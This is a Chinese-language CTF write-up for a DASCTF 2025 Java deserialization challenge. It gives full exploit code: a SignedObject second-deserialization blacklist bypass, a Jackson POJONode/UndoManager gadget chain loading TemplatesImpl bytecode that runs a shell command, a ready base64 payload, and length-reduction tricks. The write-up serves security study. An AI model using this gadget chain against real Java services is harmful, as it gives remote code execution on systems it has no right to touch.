目录

DASCTF 2025上半年赛 web-再短一点点

web

再短一点点

/deser 路由可以反序列化,有长度限制以及重写了resolveClass 方法存在黑名单

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250621210453087.png

在 flag 路由对 /a 文件进行检测,如果没有这个文件访问 /flag 就会获得 flag,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250621211410698.png

在看看 resolveClass 中过滤了哪些类,有 BadAttributeValueExpException 链以及 spring aop 链,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250621210506105.png

没过滤 SignedObject ,可以打二次反序列化,构造,

import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
import javassist.CtMethod;  
import javassist.bytecode.ClassFile;  
import javassist.bytecode.ConstPool;  
import sun.misc.Unsafe;  
  
import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.security.*;  
import java.util.Base64;  
import java.util.Map;  
import java.util.Vector;  
  
public class test {  
    public static void main(String[] args)throws Exception {  
  
        ClassPool pool = ClassPool.getDefault();  
        CtClass clazz = pool.makeClass("a");  
        CtClass superClass = pool.get(AbstractTranslet.class.getName());  
        clazz.setSuperclass(superClass);  
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  
        constructor.setBody("Runtime.getRuntime().exec(\"rm a\");");  
        clazz.addConstructor(constructor);  
  
        ClassFile cf = clazz.getClassFile();  
        cf.removeAttribute("SourceFile");  
        cf.removeAttribute("LineNumberTable");  
        cf.removeAttribute("LocalVariableTable");  
        cf.compact();  
  
        byte[] minimized = clazz.toBytecode();  
        byte[][] bytes = new byte[][]{ minimized };  
        TemplatesImpl templates = (TemplatesImpl) createObjWithoutConstructor(TemplatesImpl.class);  
        setValue(templates, "_bytecodes", bytes);  
        setValue(templates, "_name", "a");  
  
        try {  
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");  
            jsonNode.removeMethod(writeReplace);  
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();  
            jsonNode.toClass(classLoader, null);  
        } catch (Exception e) {  
        }  
  
        POJONode node1 = new POJONode(templates);  
        EventListenerList list1 = (EventListenerList) createObjWithoutConstructor(EventListenerList.class);  
        UndoManager manager1 = new UndoManager();  
        Vector vector1 = (Vector) getFieldValue(manager1, "edits");  
        vector1.add(node1);  
        setFieldValue(list1, "listenerList", new Object[] {Map.class, manager1 });  
  
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");  
        keyPairGenerator.initialize(1024);  
        KeyPair keyPair = keyPairGenerator.genKeyPair();  
        PrivateKey privateKey = keyPair.getPrivate();  
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());  
        SignedObject signedObject = new SignedObject(node1, privateKey, signature);  
  
        POJONode node = new POJONode(signedObject);  
        EventListenerList list = (EventListenerList) createObjWithoutConstructor(EventListenerList.class);  
        UndoManager manager = new UndoManager();  
        Vector vector = (Vector) getFieldValue(manager, "edits");  
        vector.add(node);  
        setFieldValue(list, "listenerList", new Object[] {Map.class, manager });  
  
        try {  
            ByteArrayOutputStream out = new ByteArrayOutputStream();  
            ObjectOutputStream objout = new ObjectOutputStream(out);  
            objout.writeObject(list);  
            objout.close();  
            out.close();  
            byte[] ObjectBytes = out.toByteArray();  
            String base64EncodedValue = Base64.getEncoder().encodeToString(ObjectBytes);  
            System.out.println(base64EncodedValue);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
    public static void setFieldValue(Object obj, String fieldName, Object value)  
            throws Exception {  
        Class<?> clazz = obj.getClass();  
        Field field = clazz.getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
    public static Object getFieldValue(Object obj, String fieldName)  
            throws NoSuchFieldException, IllegalAccessException {  
        Class clazz = obj.getClass();  
  
        while (clazz != null) {  
            try {  
                Field field = clazz.getDeclaredField(fieldName);  
                field.setAccessible(true);  
  
                return field.get(obj);  
            } catch (Exception e) {  
                clazz = clazz.getSuperclass();  
            }  
        }  
  
        return null;  
    }  
    public static <T> T createObjWithoutConstructor(Class<T> clazz) {  
        try {  
            // 通过反射获取 Unsafe 实例  
            Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");  
            unsafeField.setAccessible(true);  
            Unsafe unsafe = (Unsafe) unsafeField.get(null);  
  
            // 使用 Unsafe 分配对象内存(不会调用构造函数)  
            return (T) unsafe.allocateInstance(clazz);  
        } catch (Exception e) {  
            throw new RuntimeException("Failed to create instance without constructor", e);  
        }  
    }  
}

可以通过减少恶意类调试属性和置空对象无关属性来减少长度,

ClassFile cf = clazz.getClassFile();  
cf.removeAttribute("SourceFile");  
cf.removeAttribute("LineNumberTable");  
cf.removeAttribute("LocalVariableTable");  
cf.compact();  

通过 createObjWithoutConstructor 来创建对象把无关属性值进行置空

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250621211155542.png

最后把获得的字节码进行压缩,得到长度为 1280,

import java.io.*;  
import java.util.Base64;  
import java.util.zip.Deflater;  
import java.util.zip.DeflaterOutputStream;  
  
public class zip2 {  
    public static void main(String[] args) throws Exception {  
        String input = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0AA1qYXZhLnV0aWwuTWFwc3IAHGphdmF4LnN3aW5nLnVuZG8uVW5kb01hbmFnZXLjKyF5THHKQgIAAkkADmluZGV4T2ZOZXh0QWRkSQAFbGltaXR4cgAdamF2YXguc3dpbmcudW5kby5Db21wb3VuZEVkaXSlnlC6U9uV/QIAAloACmluUHJvZ3Jlc3NMAAVlZGl0c3QAEkxqYXZhL3V0aWwvVmVjdG9yO3hyACVqYXZheC5zd2luZy51bmRvLkFic3RyYWN0VW5kb2FibGVFZGl0CA0bju0CCxACAAJaAAVhbGl2ZVoAC2hhc0JlZW5Eb25leHABAQFzcgAQamF2YS51dGlsLlZlY3RvctmXfVuAO68BAwADSQARY2FwYWNpdHlJbmNyZW1lbnRJAAxlbGVtZW50Q291bnRbAAtlbGVtZW50RGF0YXQAE1tMamF2YS9sYW5nL09iamVjdDt4cAAAAAAAAAABdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAZHNyACxjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5QT0pPTm9kZQAAAAAAAAACAgABTAAGX3ZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHIALWNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlZhbHVlTm9kZQAAAAAAAAABAgAAeHIAMGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLkJhc2VKc29uTm9kZQAAAAAAAAABAgAAeHBzcgAaamF2YS5zZWN1cml0eS5TaWduZWRPYmplY3QJ/71oKjzV/wIAA1sAB2NvbnRlbnR0AAJbQlsACXNpZ25hdHVyZXEAfgATTAAMdGhlYWxnb3JpdGhtdAASTGphdmEvbGFuZy9TdHJpbmc7eHB1cgACW0Ks8xf4BghU4AIAAHhwAAADOqztAAVzcgAsY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAAAAAAB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABOMr+ur4AAAA0ABYBAAFhBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEABjxpbml0PgEAAygpVgEABENvZGUMAAUABgoABAAIAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEABHJtIGEIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAHB0AAFhcHcBAHh1cQB+ABYAAAAuMCwCFBb8NN3QjY557jeyWVE5K/1pnK0nAhQ2z7hjCy3dDh3JIEtC7dNDMHrRbHQAA0RTQXBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHgAAAAAAAAAZHB4"; // 你的 Base64 串  
        byte[] decoded = Base64.getDecoder().decode(input);  
  
        int bestLen = Integer.MAX_VALUE;  
        String bestB64 = null;  
  
        // 三种常用策略:默认、FILTERED、HUFFMAN_ONLY  
        int[] strategies = {  
                Deflater.DEFAULT_STRATEGY,  
                Deflater.FILTERED,  
                Deflater.HUFFMAN_ONLY  
        };  
        for (int strat : strategies) {  
            Deflater def = new Deflater(Deflater.BEST_COMPRESSION);  
            def.setStrategy(strat);  
            ByteArrayOutputStream baos = new ByteArrayOutputStream(decoded.length);  
            try (DeflaterOutputStream dos = new DeflaterOutputStream(baos, def)) {  
                dos.write(decoded);  
            }  
            byte[] comp = baos.toByteArray();  
            String b64 = Base64.getEncoder().encodeToString(comp);  
            if (b64.length() < bestLen) {  
                bestLen = b64.length();  
                bestB64 = b64;  
            }  
        }  
  
        // 输出最短的那一个  
        System.out.print(bestB64);  
        // 也可以打印长度  
        System.err.println("Shortest length: " + bestLen);  
    }  
}

最后删掉 a 文件获得 flag

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250621211333830.png